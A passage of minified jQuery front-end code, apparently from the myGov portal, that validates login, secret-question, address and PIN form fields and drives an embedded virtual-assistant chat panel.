aria-hidden");break;case"email":formHelper.clearError($("[data-mobile-num]"));formHelper.resetDefaultValue($("[data-mobile-num]"));$("[data-mobile-num]").closest($("label")).attr({"hidden":true,"aria-hidden":true});$("[data-email-addr]").closest($("label")).removeAttr("hidden aria-hidden");break;default:}});(function($){var initSQA=function(){var $form=$(".sqa-form"),$question=$("[data-secretquestion]"),$answer=$("[data-secretanswer]");$(".selectRadio input:radio").on("blur change",function(){var selectedRadioName=$(".selectRadio input:radio:checked").val();if((selectedRadioName)===undefined){formHelper.setErrorSelect($(".selectRadio"),"Make a selection");}else{formHelper.clearErrorSelect($(".selectRadio"));}});$question.on("blur",function(){var errMsg="",rule1=formHelper.chkFieldIsEmpty($(this)),rule2=chkQuestionAnswerSame(),rule3=formHelper.chkTooManyCharacters($(this),100);if(rule1){errMsg="Enter a question";}else{if(rule2){errMsg="The question and answer must be different";}else{if(rule3){errMsg="The question can't be more than 100 characters including spaces";}}}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}else{formHelper.clearError($question);}chkQuestionAnswerSame();});$answer.on("blur",function(){var errMsg="",rule1=formHelper.chkFieldIsEmpty($(this)),rule2=chkQuestionAnswerSame(),rule3=formHelper.chkTooManyCharacters($(this),40);if(rule1){errMsg="Enter an answer";}else{if(rule2){errMsg="The question and answer must be different";}else{if(rule3){errMsg="The answer can't be more than 40 characters including spaces";}}}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}else{formHelper.clearError($answer);}});$question.on("keyup",function(){var errMsg="",rule1=formHelper.chkTooManyCharacters($(this),100);if(rule1){errMsg="The question can't be more than 100 characters, including spaces";}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}});$answer.on("keyup",function(){var errMsg="",rule1=formHelper.chkTooManyCharacters($(this),40);if(rule1){errMsg="The answer can't be more than 40 characters including spaces";}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}});var chkQuestionAnswerSame=function(){var errMsg="The question and answer must be different";$questionValue=$question.length>0?$question.val().trim().toLowerCase():"";$answerValue=$answer.val().trim().toLowerCase();if(!$questionValue||!$answerValue||(!$questionValue&&!$answerValue)){return;}if($questionValue===$answerValue){return true;}else{return false;}};};var toggleOwnQuestion=function(){var $question=$("[data-secretquestion]"),$answer=$("[data-secretanswer]");$("[data-prefillquestion]").prev("input").on("change",function(){$question.val($(this).next().text());$question.parent().hide();});$("input[name=radioQuestion]").on("change",function(){var $selectedQuestion=$("input[name=radioQuestion]:checked"),$lastQuestion=$("input[name=radioQuestion]").last();if($selectedQuestion.val()!==$answer.val()){formHelper.clearError($answer);}else{formHelper.setError($answer,"The question and answer must be different","p");}if($lastQuestion.is(":checked")){formHelper.clearError($selectedQuestion);formHelper.clearError($answer);$question.val("");$question.parent().show().css("display","block");}else{formHelper.clearError($question);$question.parent().hide();}});};toggleOwnQuestion();initSQA();})(jQuery);(function($){$(document).ready(function(){if($("[data-date]").length>0){if($("[data-date]").val()!==""){var date=$("[data-date]").val().split("/");var $parent=$(".date-fields");day=$parent.find("[data-date-day]").val(date[0]);month=$parent.find("[data-date-month]").val(date[1]);year=$parent.find("[data-date-year]").val(date[2]);formHelper.enableDate();}}$("#raetDiv-home").on("change","input",function(){if($("#same-as-residential").is(":checked")){mapHomePostal();}});$("#same-as-residential").on("change",function(){if($("#same-as-residential").is(":checked")){mapHomePostal();}else{$("#postal-section input").val("");}});$("#same-as-residential").on("click",function(){$("#postal-section").toggle();});$("#raetDiv-home, #raetDiv-postal").on("blur keyup","input",function(){resetDate();});var homeSectionBlank=function(){var blank=true;$("#raetDiv-home input").each(function(){if(!blank){return blank;}var input=$.trim($(this).val());blank=!input;});return blank;};var postalSectionBlank=function(){var blank=true;$("#raetDiv-postal input").each(function(){if(!blank){return blank;}var input=$.trim($(this).val());blank=!input;});return blank;};var resetDate=function(){var homeBlank=homeSectionBlank();var postalBlank=postalSectionBlank();var blank=homeBlank&&postalBlank;blank?formHelper.disableDate():formHelper.enableDate();};var mapHomePostal=function(){$("#delivery-address-line-1-singleLine").val($("#residential-address-line-1-singleLine").val());$("#postal-address").val($("#home-address").val());$("#postal-suburb").val($("#home-suburb").val());$("#postal-postcode").val($("#home-postcode").val());$("#postal-state").val($("#home-state").val());};function raetToggleText(element,name){if($("#raetDiv-"+name).attr("data-view")==="multi"){element.text("Find my "+name+" address");}if($("#raetDiv-"+name).attr("data-view")==="single"){element.text("I can't find my "+name+" address");}}function raetToggleView(name){$(".raet-"+name+"-anchor").on("click",function(){$("#raetDiv-"+name).attr("data-view",function(index,attr){return attr=="multi"?"single":"multi";});raetToggleText($(this),name);if($("#raetDiv-"+name).attr("data-view")==="multi"){raetAddress("multi",name);}if($("#raetDiv-"+name).attr("data-view")==="single"){raetAddress("single",name);}$(this).attr("aria-pressed","true").attr("aria-live","polite").attr("aria-atomic","true");$("#raetDiv-"+name).find("input")[0].focus();resetDate();});}raetToggleView("home");raetToggleView("postal");function removeContainers(root){if(root){$("> .raet-container",$(root)).remove();}}function raetAddress(view,name){var rootContainer=$("#raetDiv-"+name);if(rootContainer){removeContainers(rootContainer);var config={webService:"prod_secure",destination:document.getElementById("raetDiv-"+name),fields:{streetAddress:document.getElementById(name+"-address"),suburb:document.getElementById(name+"-suburb"),postcode:document.getElementById(name+"-postcode"),state:document.getElementById(name+"-state")},labels:{singleLine:"Find address"}};if(view==="single"){config.type="singleLine";}if(view==="multi"){config.integration=true;}Raet(config);}}function raetInit(name){$("#"+name+"-output").each(function(){var allEmpty=true;$(this).find('input[type="text"]').each(function(){if(this.value.trim().length>0){allEmpty=false;$("#raetDiv-"+name).attr("data-view","multi");raetAddress("multi",name);raetToggleText($(".raet-"+name+"-anchor"),name);return false;}});if(allEmpty===true){$("#raetDiv-"+name).attr("data-view","single");raetAddress("single",name);raetToggleText($(".raet-"+name+"-anchor"),name);}});}raetInit("home");raetInit("postal");});})(jQuery);$(document).ready(function(){$("[data-identity-expanded]").on("click",function(){$(this).attr("aria-expanded",function(name,value){return value==="false"?"true":"false";});$(".identity-hub-info-text").slideToggle();clearArrows();if($(this).attr("aria-expanded")==="true"){$("#find-out-more-digital-identity").removeClass("link-arrow-down");$("#find-out-more-digital-identity").addClass("link-arrow-up");}else{$("#find-out-more-digital-identity").removeClass("link-arrow-up");$("#find-out-more-digital-identity").addClass("link-arrow-down");}});function clearArrows(){$("#find-out-more-digital-identity").removeClass("link-arrow-down");$("#find-out-more-digital-identity").removeClass("link-arrow-up");}$("[data-login-username]").on("blur",function(){if($(this).val().trim()!==""){var message="Enter a valid email address, mobile number or myGov username. A valid myGov username is 2 letters, followed by 6 numbers.";if(formHelper.isEmailValid($(this).val())||(/^[A-z]{2}[0-9]{6}$/g).test($(this).val())||formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),message,"p");}}else{formHelper.setError($(this),"Enter a username or email address","p");}});$("#mygov-beta").on("click",function(e){var action=dynaTrace.enterAction("myGovBetaNav","click");dynaTrace.leaveAction(action);});});window.addEventListener("hashchange",function(event){var element=document.getElementById(location.hash.substring(1));if(element){if(!/^(?:a|select|input|button|textarea)$/i.test(element.tagName)){element.tabIndex=-1;}element.focus();}},false);$("[data-poro-input]").on("blur",function(){if($(this).val()!==""){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){}else{var pattern=new RegExp($(this).attr("data-pattern"));var validPattern=pattern.test($(this).val());if(!validPattern){var patternMsg=$(this).attr("data-pattern-msg");var msg="Enter a valid value";msg=patternMsg!==undefined?patternMsg:msg;formHelper.setError($(this),msg,"p");}else{formHelper.clearError($(this));}}}});$("[data-poro-input-mandatory]").on("blur",function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){}else{if(formHelper.isNotEmpty($(this).val())){if($(this).attr("data-poro-input")===undefined){formHelper.clearError($(this));}}else{formHelper.setError($(this),"Require a value","p");}}});$("[data-poro-checkbox-mandatory]").on("blur",function(){if($(this).is(":checked")){formHelper.clearError($(this));}else{formHelper.setError($(this),"Must be selected","p");}});$("[data-helptext-toggle]").on("click",function(){var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);$(this).attr("tabindex",tabindex);var $ariaControl=$("#"+$(this).attr("aria-controls"));var tabindex=$ariaControl.attr("tabindex");tabindex=tabindex==="-1"?"0":"-1";$ariaControl.attr("tabindex",tabindex);$ariaControl.toggle();});$("[button-poro-cancel]").on("click",function(e){e.preventDefault();});$("[data-helptext-toggle]").on("keypress",function(e){if(e.which===32){$(this).trigger("click");}if(e.which===9){e.preventDefault();}});$("[data-number--only]").on("blur",function(e){if(formHelper.isNotEmpty($(this).val())&&formHelper.chkNumberOnly($(this))){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid number","p");}});$("[data-number--optional]").on("blur",function(e){if(formHelper.chkNumberOnly($(this))){formHelper.clearError($(this));}else{if(formHelper.isNotEmpty($(this).val())){formHelper.setError($(this),"Enter a valid number","p");}}});$("[data-medicare--input]").on("blur",function(e){if(formHelper.chkNumberOnly($(this))&&$(this).val().length===10){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid medicare number","p");}});$(document).ready(function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){$("input[name*=clkCRN]").addClass("is-visuallyhidden").val("000000000Z");$("button[name=_eventId_next]").text("Continue");}var keyup_checker=function(evt){var stroke,_ref;stroke=(_ref=evt.which)!=null?_ref:evt.keyCode;this.search_field_scale();switch(stroke){case 8:if(this.is_multiple&&this.backstroke_length<1&&this.choices_count()>0){return this.keydown_backstroke();}else{if(!this.pending_backstroke){this.result_clear_highlight();return this.results_search();}}break;case 13:evt.preventDefault();evt.stopPropagation();if(this.results_showing){return this.result_select(evt);}else{this.results_search();}break;case 27:if(this.results_showing){this.results_hide();}return true;case 9:case 38:case 40:case 16:case 91:case 17:case 18:break;default:return this.results_search();}};$(".chosen-select-man, .chosen-select").each(function(i,select){var $select=$(select);var container=$select.chosen($select.hasClass(".chosen-select")?{allow_single_deselect:true}:{});var data=container.data("chosen");if(data){data.keyup_checker=keyup_checker;data.container.on("keydown",function(e){if(e.key==="Enter"||e.keyCode===13){e.preventDefault();e.stopPropagation();}});var showing=false;data.container.focusin(function(e){if(!showing){data.dropdown.css({left:"0",bottom:"0",overflow:"hidden","z-index":"0"});}});$select.on("chosen:showing_dropdown",function(){showing=true;data.dropdown.css({left:"",bottom:"",overflow:"","z-index":"1"});});$select.on("chosen:hiding_dropdown",function(){showing=false;data.dropdown.css({left:"0",bottom:"0",overflow:"hidden","z-index":"0"});});}});});$(document).ready(function(){var uPIN={init:function(){uPIN.cacheDom();uPIN.onBlur(uPIN.$newPin);uPIN.onBlur(uPIN.$reenterPin);uPIN.onKeyup(uPIN.$newPin);uPIN.onKeyup(uPIN.$reenterPin);$(uPIN.$currentPin).on("blur",function(){console.log(uPIN.$currentPin);if(!uPIN.isEmpty(this)){return;}});$(uPIN.$newPin).on("blur",function(){if(uPIN.$reenterPin.val()!=""){uPIN.$reenterPin.trigger("keyup");}});uPIN.$Pin=$("[data-pin]");$(uPIN.$currentPin).on("blur",function(){if(!uPIN.isEmpty(this)){return;}});},cacheDom:function(){uPIN.$currentPin=$("[data-current-pin]");uPIN.$newPin=$("[data-new-pin]");uPIN.$reenterPin=$("[data-reenter-pin]");},isEmpty:function(element){if(formHelper.isEmpty(element.value)){formHelper.setError($(element),"Enter a PIN","p");return false;}else{formHelper.clearError($(element));return true;}},onBlur:function(element){$(element).on("blur",function(){uPIN.validate(this);});},onKeyup:function(element){$(element).on("keyup",function(e){if(e.which===9){return;}if(e.which===16){return;}uPIN.match(this);});},match:function(element){var successMsg,errorMsg,isSame;if(element.attributes.hasOwnProperty("data-reenter-pin")){isSame=formHelper.isTypingSame(uPIN.$reenterPin,uPIN.$newPin);}if(isSame!==undefined){if(isSame){successMsg="Your PINs are the same";errorMsg="";}else{errorMsg="The PIN you've re-entered doesn't match your new PIN";successMsg="";}if(formHelper.isNotEmpty(uPIN.$reenterPin.val())){(errorMsg!=="")?formHelper.setError(uPIN.$reenterPin,errorMsg,"p"):formHelper.setSuccess(uPIN.$reenterPin,successMsg);}}},maxChars:function(element){if(element.value.length!==4){formHelper.setError($(element),"Your PIN must contain 4 numbers","p");return false;}else{formHelper.clearError($(element));return true;}},notAscending:function(element){if(element.value.length===4&&"0123456789".indexOf(element.value)!=-1){formHelper.setError($(element),"Your PIN can't contain 4 consecutive numbers","p");return false;}else{formHelper.clearError($(element));return true;}},notDescending:function(element){if(element.value.length===4&&"9876543210".indexOf(element.value)!=-1){formHelper.setError($(element),"Your PIN can't contain 4 consecutive numbers","p");return false;}else{formHelper.clearError($(element));return true;}},numericOnly:function(element){if(!(/^\d*$/g).test(element.value)){formHelper.setError($(element),"Your PIN must contain 4 numbers","p");return false;}else{formHelper.clearError($(element));return true;}},sameDigits:function(element){if((/^([0-9])\1{3}$/g).test(element.value)){formHelper.setError($(element),"Your PIN can't contain 4 of the same number","p");return false;}else{formHelper.clearError($(element));return true;}},validate:function(element){if(!uPIN.isEmpty(element)){return;}if(!uPIN.maxChars(element)){return;}if(!uPIN.numericOnly(element)){return;}if(!uPIN.sameDigits(element)){return;}if(!uPIN.notAscending(element)){return;}if(!uPIN.notDescending(element)){return;}if(!uPIN.match(element)){return;}}};uPIN.init();});$(document).ready(function(){var usernameField=$("[data-username]");function validateUsername($inputField){var unameval=$inputField.val(),unameMatch=unameval?formHelper.isUserIdValid(unameval):false,emailMatch=unameval?formHelper.isEmailValid(unameval):false,mobileMatch=unameval?formHelper.isMobileValid(unameval):false;if(unameMatch||emailMatch||mobileMatch){formHelper.clearError($inputField);if(mobileMatch){formHelper.setInfo($inputField,'You must have this <a href="/mygov/content/html/help.html#MobileNumber">mobile number</a> set up as a username in your Account settings.');}else{formHelper.clearInfo($inputField);}}else{formHelper.clearInfo($inputField);formHelper.setError($inputField,"Enter a valid email address, mobile number or myGov username. A valid myGov username is 2 letters, followed by 6 numbers.","p");}}usernameField.on("focusout",function(){if(!this.hasAttribute("dont-validate")){validateUsername($(this));}});});$(document).ready(function(){var usernameEmailField=$("[data-username-email]");function validateUsernameEmail($inputField){var unameval=$inputField.val(),emailMatch=unameval?formHelper.isEmailValid(unameval):false;if(emailMatch){formHelper.clearError($inputField);}else{formHelper.clearInfo($inputField);formHelper.setError($inputField,"Enter a valid email","p");}}usernameEmailField.on("blur",function(){if(!this.hasAttribute("dont-validate")){validateUsernameEmail($(this));}});});(function($){$(":radio[data-apdm]").on("change",function(){var selected=this.value;switch(selected){case"true":$(".button-main").replaceWith('<button type="submit" class="button-main button">Next</button>');break;case"false":$(".button-main").replaceWith('<a href="'+$("#apdmLink").val()+'" role="button" class="button-main button">Next</a>');break;default:}});})(jQuery);(function($){$(window).on("resize",function(){var $expand=$(".outage .expand");if($expand.length&&!$expand.hasClass("expand--expanded")){var content=$(".outage__content").get(0);if(content&&content.offsetWidth>=content.scrollWidth){$expand.attr({"hidden":true,"aria-hidden":true});}else{if($expand.attr("hidden")){$expand.removeAttr("hidden aria-hidden");}}}}).resize();$(".outage").on("click",".expand",function(){$(this).toggleClass("expand--expanded").next(".outage__content").toggleClass("outage__content--expanded");});$("[data-dismiss]").each(function(){$(this).append('<button class="dismiss"><span class="is-visuallyhidden">Dismiss</span></button>');});$("[data-dismiss]").on("click",".dismiss",function(e){e.preventDefault();$(this).parent().fadeOut("fast",function(){$(this).remove();});});$("[data-dismiss-otp-alert]").on("click",".dismiss",function(){$.getJSON("/mygov/dismiss/sio");});$("[data-dismiss-inbox-alert]").on("click",".dismiss",function(){$.getJSON("/mygov/dismiss-inbox-alert");});$("[data-banner-digiId]").on("click",".data-banner-dismiss-button",function(e){e.preventDefault();$("[data-banner-digiId]").fadeOut("fast",function(){$(this).remove();});$.getJSON("/mygov/dismiss/digiId");});$("[data-alert-digiId]").on("click",".data-alert-dismiss-button",function(e){e.preventDefault();$("[data-alert-digiId]").fadeOut("fast",function(){$(this).remove();});$.getJSON("/mygov/dismiss/digiId");});})(jQuery);(function($){$(document).ready(function(){function wait(seconds,formId){setTimeout(function(){submitForm(formId);},seconds*1000);}function submitForm(formId){try{document.getElementById(formId).submit();}catch(err){}}wait(10,"oidcRedirForm");wait(2,"redirForm");});})(jQuery);$("[data-home-welcome-message]").each(function(){$(this).text("Good "+getGreetingTime(moment())+" ");});function getGreetingTime(m){var g=null;if(!m||!m.isValid()){return;}var split_afternoon=12;var split_evening=17;var currentHour=parseFloat(m.format("HH"));if(currentHour>=split_afternoon&¤tHour<=split_evening){g="afternoon";}else{if(currentHour>=split_evening){g="evening";}else{g="morning";}}return g;}$(function(){var upins=$("#upin-login, #upin-input, #upin-confirm");if(global.getAndroidVersion()<4.3){$("fieldset.pin-fields, div.pin-fields").removeClass("pin-fields");upins.attr({type:"password",pattern:"[0-9]*",inputmode:"numeric"}).val("").focus();}else{upins.val("").pincodeInput({hidedigits:true,inputs:4});var upinData=upins.data("plugin_pincodeInput");if(upinData){}}if(global.getUrlParams().event==="close"){$("a.button-back-home").text("Close").removeClass("button-back").click(function(e){e.preventDefault();window.close();});}});var initPinToggle=function(){$(".showPin").on("click",function(){var $this=$(this),$inputType,$passwordInput=$this.siblings("input"),relatedInputStr="",$pinInput=$("#pincode-input");$inputType=$passwordInput.attr("type");if($pinInput.hasClass("conceal")){setPinHide($this);}else{setPinShow($this);}});};var setPinShow=function($this){var $pinInput=$("#pincode-input");$showpinhelptext="Note: this will visually expose your pin on the screen.";$showhelp=$("#show-hide-helpmsg");$pinInput.removeClass("reveal");$pinInput.addClass("conceal");$this.attr("aria-label","Show pin as plain text.").attr("aria-describedby","show-hide-helpmsg").html("<img id='show-hide-icon' src='/mygov/content/mgv2//icons/feather-eye.svg' alt='' /> Show");$showhelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$showpinhelptext+"</p>");};var setPinHide=function($this){var $pinInput=$("#pincode-input");$pinInput.removeClass("conceal");$pinInput.addClass("reveal");var $hidepinhelptext="Note: this will visually stop exposing your pin on the screen.";$hidehelp=$("#show-hide-helpmsg");$this.attr("aria-label","Hide pin").attr("aria-describedby","show-hide-helpmsg").html("<img id='show-hide-icon' src='/mygov/content/mgv2//icons/feather-eye-off.svg' alt='' /> Hide");$hidehelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$hidepinhelptext+"</p>");};$("body").on("click keydown","[data-idp-help-toggle]",function(e){var codes={ENTER:13};if(e.type==="click"||e.keyCode===codes.ENTER){var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);$(this).attr("tabindex",tabindex);var $ariaControl=$("#"+$(this).attr("aria-controls"));var tabindex=$ariaControl.attr("tabindex");$ariaControl.attr("tabindex",tabindex);if($ariaControl.css("display")==="flex"){$ariaControl.css("display","none");}else{$ariaControl.css("display","flex");}}});$(function(){var additionalSelectors="";var fields=$("[autofocus]");if(additionalSelectors){fields.add(additionalSelectors);}var focusField=fields[0];if(focusField){focusField.setAttribute("dont-validate","");global.oneUseEvent(focusField,"keyup",function(){focusField.removeAttribute("dont-validate");});}});var va_isMaximised=false;var va_isOpen=false;var va_isMobile=false;var va_pushTimeout;var va_chatStarted=false;var titleBarTitle="Ask a question";var headingTitle="Ask a question";function getMobileHeader(){var mobileLargeClass="",vaOpenClass="";if(va_isOpen){mobileLargeClass=' class="va_mobileLarge" ';vaOpenClass=" va_open";}var mobileStyle='<div id="va_mobileBar" style="border-top: #d7ea6a 5px solid"'+mobileLargeClass+' aria-live="polite" >'+'<header class="va_header">'+'<h2 class="va_chatTitle_mob" aria-live="polite" id="va_chatTitle">'+headingTitle+"</h2>"+'<div role="button" style="border: 0; margin: 0;" id="va_mobileToggle" aria-live="polite" class="va_mobileToggle'+vaOpenClass+'" title="'+getAltText("va_toggleIcon")+'" aria-label="'+getAltText("va_mobileToggle")+'"></div>'+"</header>"+"</div>";return mobileStyle;}function getDesktopHeader(){var rightMargin=calcRightMargin(),desktopHeaderSize="style='right:"+rightMargin+"'",vaExpanded="",resizeIconState="",resizeIconClass="";if(va_isOpen){vaExpanded=" va_expanded";resizeIconState='style="display: block;"';if(va_isMaximised){desktopHeaderSize='style="height:490px; width:600px; right:'+rightMargin+';"';resizeIconClass=" va_large";}else{desktopHeaderSize='style="height:455px; width:350px; right:'+rightMargin+';"';}}var desktopStyle='<div id="va_chatHeader" '+desktopHeaderSize+' aria-live="polite" title="'+titleBarTitle+'" aria-label="'+titleBarTitle+'">'+'<div class="va_chatBorder"></div>'+'<header class="va_header va_clearfix" style="box-shadow:0 0 3px rgba(0,0,0,.3)">'+'<h2 class="va_chatTitle" id="va_chatTitle" aria-live="polite" >'+headingTitle+"</h2>"+'<div id="va_resizeIcon" class="va_resizeIcon'+resizeIconClass+'" '+resizeIconState+' tabindex="0" aria-live="polite" title="'+getAltText("va_resizeIcon")+'" aria-label="'+getAltText("va_resizeIcon")+'" style="display: none"></div>'+'<div id="va_toggleIcon" class="va_toggleIcon'+vaExpanded+'" tabindex="0" aria-live="polite" title="'+getAltText("va_toggleIcon")+'" aria-label="'+getAltText("va_toggleIcon")+'"></div>'+"</header>"+"</div>";return desktopStyle;}function getAltText(element){if(element=="va_toggleIcon"||element=="va_mobileToggle"){if(va_isOpen){return"Hide "+titleBarTitle;}else{return"Open "+titleBarTitle;}}else{if(element=="va_resizeIcon"){if(va_isMaximised){return"View "+titleBarTitle+" in a smaller window";}else{return"View "+titleBarTitle+" in a larger window";}}}}function setAltText(element){var resizeAlt=getAltText(element);jQuery("#"+element).prop("title",resizeAlt);jQuery("#"+element).attr("aria-label",resizeAlt);}function calcRightMargin(){var windowWidth=jQuery(window).width(),maxContainerWidth=960,rightMargin="2%";return rightMargin;}function insertDiv(){var rightMargin=calcRightMargin(),chatAnchor=document.createElement("div"),appendStyle=va_isMobile==true?getMobileHeader():getDesktopHeader();chatAnchor.id="va_chatAnchor";chatAnchor.className="va_chatAnchor";chatAnchor.zIndex=99999;chatAnchor.setAttribute("role","complementary");chatAnchor.setAttribute("aria-labelledBy","va_chatTitle");document.body.appendChild(chatAnchor);jQuery("#va_chatAnchor").append(appendStyle);}function insertIframe(){var iframe=document.createElement("iframe");iframe.id=iframe.name="va_iframe";iframe.className="va_iframe";iframe.style.zIndex=9999;iframe.style.background="#E5E5E5";iframe.style.right=calcRightMargin();iframe.style.overflow="hidden";jQuery("#va_chatAnchor").append(iframe);}function determineContext(){return"";}function insertIframeSrc(){va_chatStarted=true;var context=determineContext();var source=setDAsource();setIFrameSrc(source);}function setIFrameSrc(source){if(typeof source!="undefined"&&source!=""){jQuery.when(jQuery("#va_iframe").attr("aria-live","assertive").attr("aria-relevant","additions").attr("src",source+"#/wea")).done(function(){return true;});}}function sendGoogleAnalyltics(event){try{if(ga){var context=determineContext();ga("send","event","Digital Assistant",event,context+" VA");}}catch(error){}}function addTimer(){va_pushTimeout=setTimeout(function(){sendGoogleAnalyltics("Timeout");postMessageToIframe("timeout");va_pushTimeout=null;if(!va_isMobile){jQuery("#va_chatHeader").click();}else{jQuery("#va_mobileToggle").click();}},60000);}function disableBGScrolling(){document.body.style.overflow="hidden";document.body.style.position="fixed";}function enableBGScrolling(){document.body.style.overflow="";document.body.style.position="";}function toggleVAMobile(){var toggleWidth=va_isOpen?"0px":"100%",toggleHeight=va_isOpen?"0px":(jQuery(window).height()-50);jQuery("#va_iframe").css({width:toggleWidth,height:toggleHeight,right:"0px",top:"50px"});jQuery("#va_mobileBar").toggleClass("va_mobileLarge");jQuery("#va_mobileToggle").toggleClass("va_open");va_isOpen=!va_isOpen;setAltText("va_mobileToggle");if(va_isOpen){postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});disableBGScrolling();}else{enableBGScrolling();}}function addOnClickMobile(){jQuery("#va_mobileToggle").on("click",function(){sendGoogleAnalyltics("Mobile click");if(va_pushTimeout){clearTimeout(va_pushTimeout);va_pushTimeout=null;}if(!va_chatStarted){insertIframeSrc();}toggleVAMobile();});}function isWindowMobile(){if(typeof window.matchMedia!=="undefined"){return window.matchMedia("screen and (max-width: 599px), screen and (max-height: 490px)").matches;}return jQuery(window).width()<600;}function responsiveResize(){var isNewScreenMobile=isWindowMobile();var responsiveHeight=0,responsiveWidth=0,responsiveRight="",responsiveTop="",responsiveBottom="",rightMargin=calcRightMargin();if(isNewScreenMobile){if(!va_isMobile){jQuery("#va_chatHeader").replaceWith(getMobileHeader());jQuery("#va_iframe").css("display","");addOnClickMobile();}if(va_isOpen){disableBGScrolling();responsiveHeight=jQuery(window).height()-50;responsiveWidth=jQuery(window).width();responsiveRight="0px";responsiveTop="50px";}}else{enableBGScrolling();if(va_isMobile){jQuery("#va_mobileBar").replaceWith(getDesktopHeader());addOnClickDesktop();addOnResize();}else{jQuery("#va_chatHeader").css({right:rightMargin});}if(va_isOpen){responsiveBottom="0px";if(va_isMaximised){responsiveHeight=435;responsiveWidth=600;}else{responsiveHeight=400;responsiveWidth=350;}}responsiveRight=rightMargin;}jQuery("#va_iframe").css({height:responsiveHeight,width:responsiveWidth,right:responsiveRight,top:responsiveTop,bottom:responsiveBottom});va_isMobile=isNewScreenMobile;}function toggleVADesktop(){var ariaHidden=va_isOpen?"true":"false";if(va_isMaximised){var toggleHeight=va_isOpen?"0px":"435px",toggleWidth=va_isOpen?"0px":"600px",headerHeight=va_isOpen?"55px":"490px",headerWidth=va_isOpen?"350px":"600px";}else{var toggleHeight=va_isOpen?"0px":"400px",toggleWidth=va_isOpen?"0px":"350px",headerHeight=va_isOpen?"55px":"455px",headerWidth="350px";}if(!va_isOpen){if(va_isMaximised){jQuery("#va_iframe").animate({height:toggleHeight,width:toggleWidth});if(!jQuery("#va_resizeIcon").hasClass("va_large")){jQuery("#va_resizeIcon").addClass("va_large");}}else{jQuery("#va_iframe").animate({height:toggleHeight});jQuery("#va_iframe").css({width:toggleWidth});}jQuery("#va_iframe").css("display","inline-block");postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});}else{jQuery("#va_iframe").animate({height:toggleHeight,width:"350px"});setTimeout(function(){jQuery("#va_iframe").css({width:toggleWidth,display:"none"});},500);}jQuery("#va_chatHeader").animate({height:headerHeight,width:headerWidth},{duration:400,queue:false});jQuery(".va_chatBorder").animate({width:headerWidth},{duration:400,queue:false});jQuery("#va_resizeIcon").toggle();jQuery("#va_toggleIcon").toggleClass("va_expanded");jQuery("#va_skipToConversation").toggleClass("active");jQuery("#va_skipToConversation").attr("aria-hidden",ariaHidden);postMessageToIframe("setAriaHiddenTags"+ariaHidden);va_isOpen=!va_isOpen;setAltText("va_toggleIcon");return true;}function addOnClickDesktop(){jQuery("#va_chatHeader").on("click",function(e){sendGoogleAnalyltics("Desktop click");if(va_pushTimeout){clearTimeout(va_pushTimeout);va_pushTimeout=null;}if(!va_chatStarted){insertIframeSrc();}toggleVADesktop();return false;});jQuery("#va_toggleIcon").bind("keyup",function(e){if(e.keyCode===13){jQuery("#va_chatHeader").click();}});}function addOnResize(){jQuery("#va_resizeIcon").on("click",function(e){resizeVA();e.stopPropagation();return false;});jQuery("#va_resizeIcon").bind("keyup",function(e){if(e.keyCode===13){jQuery("#va_resizeIcon").click();e.stopPropagation();}});}function resizeVA(){var resizeWidth=va_isMaximised?"350px":"600px",resizeHeight=va_isMaximised?"400px":"435px",resizeHeaderHeight=va_isMaximised?"455px":"490px",resizeHeaderWidth=va_isMaximised?"350px":"600px";jQuery("#va_chatHeader").animate({width:resizeHeaderWidth,height:resizeHeaderHeight},{duration:400,queue:false});jQuery(".va_chatBorder").animate({width:resizeHeaderWidth},{duration:400,queue:false});jQuery("#va_iframe").animate({height:resizeHeight,width:resizeWidth},{duration:400,queue:false});jQuery("#va_resizeIcon").toggleClass("va_large");va_isMaximised=!va_isMaximised;setAltText("va_resizeIcon");}function addOnBackwardsTabbing(){jQuery("#va_skipToConversation").unbind("keydown");jQuery("#va_skipToConversation").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackward");e.preventDefault();}else{if(e.keyCode===13){postMessageToIframe("skiptoConversation");e.stopPropagation();}}});}function loopFocusBackwardWithError(){jQuery("#va_resizeIcon").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackwardWithError");e.preventDefault();}});}function addSkipToConversationTabListener(){jQuery("#va_skipToConversation").unbind("keydown");jQuery("#va_skipToConversation").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackwardOptionButton");e.stopPropagation();}else{if(e.keyCode===13){postMessageToIframe("skiptoConversation");e.stopPropagation();}}});}function addOnSkipToConversation(){jQuery("#va_skipToConversation").on("click",function(e){postMessageToIframe("skiptoConversation");e.stopPropagation();return false;});addOnBackwardsTabbing();}function addSkipToBot(){var skipLinks=jQuery(".skip-links");var skipLinkClass="";if(skipLinks.length==0){skipLinks=jQuery(".uikit-skip-link");skipLinkClass='class="uikit-skip-link__link"';}skipLinks.append("<a "+skipLinkClass+' id="va_skipToBot" href="#">Skip to '+titleBarTitle+"</a>");jQuery("#va_skipToBot").on("click",function(e){if(!va_isMobile){jQuery("#va_toggleIcon").focus();}else{jQuery("#va_mobileToggle").click();}e.stopPropagation();return false;});}function hideSkipToConversation(){jQuery("#va_skipToConversation").hide();jQuery("#va_skipToConversation").attr("aria-hidden","true");}function skipToSkipToConversation(){jQuery("#va_skipToConversation").focus();}function skipToResizeIcon(){jQuery("#va_resizeIcon").focus();}function postMessageToIframe(message){window.parent.document.getElementById("va_iframe").contentWindow.postMessage(message,"*");}function 